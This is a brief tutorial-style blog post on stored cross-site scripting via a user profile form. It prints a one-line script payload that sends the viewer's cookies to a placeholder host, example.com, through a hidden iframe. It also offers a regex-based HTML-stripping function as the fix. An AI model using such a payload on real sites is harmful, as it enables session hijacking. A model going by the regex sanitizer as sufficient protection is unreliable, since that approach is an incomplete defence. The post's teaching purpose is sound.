A word on script injection attacks

The scenario

Say your application – whether it is written in NodeJS or PHP or Ruby or whatever – has a form where Joe the User can input data (may be a profile edit page). The data entered by Joe is displayed to other users (Sam and Woody) when they visit Joe’s profile page. This would be a perfectly ok situation if Joe is a nice person, doing an honest days work to earn a living.


The problem

But unfortunately, Joe could be a hacker trying to steal Sam’s digital identity (and/or money). Or, most commonly, Joe could be a zombie looking around for security loopholes for malicious hackers to exploit. Oh, yeah, zombies are real. We call them bots in the digital world.
In any case, our incarnation or evil, Mr. Joe could enter a content like this into his profile update textarea:-

<script>
document.body.innerHTML += '<iframe height="1" width="1" src="http://example.com/save-cookie.php?cookie-data='+encodeURIComponent(document.cookie)+'"></iframe>';
</script>

The above 1 line code is self explanatory. The code, if rendered as it is, will steal the currently logged in person’s (Sam’s) cookies and could send it the malicious hacker Joe. With Sam’s cookie data in hand, Joe can login to the site as Sam and access Sam’s private data or can do things on behalf of Sam.

The solution

Well, the solution is simply to assume that every user coming to your site could be Joe the Crook and when handling user provided data, be cautious. What we need to do is very simple.

1. Either remove all/some html tags from any user entered content before saving to the database.

2. Or, strip away all/some html tags from the user entered data, each time when it is going to be rendered to someone.

Both methods are more or less the same and has minor trade-offs. I leave you to be the judge of that.
If you are building a Javascript/NodeJS application, you can use the below code to strip all html tags from the passed content.

function strip_html_tags(text) {
    var temp_element = document.createElement('div');
    temp_element.innerHTML = text.replace(/(<([^>]+)>)/ig, '');
    return temp_element.textContent || temp_element.innerText || '';
}

 

For some reference on XSS attacks, see this.


Comments are closed.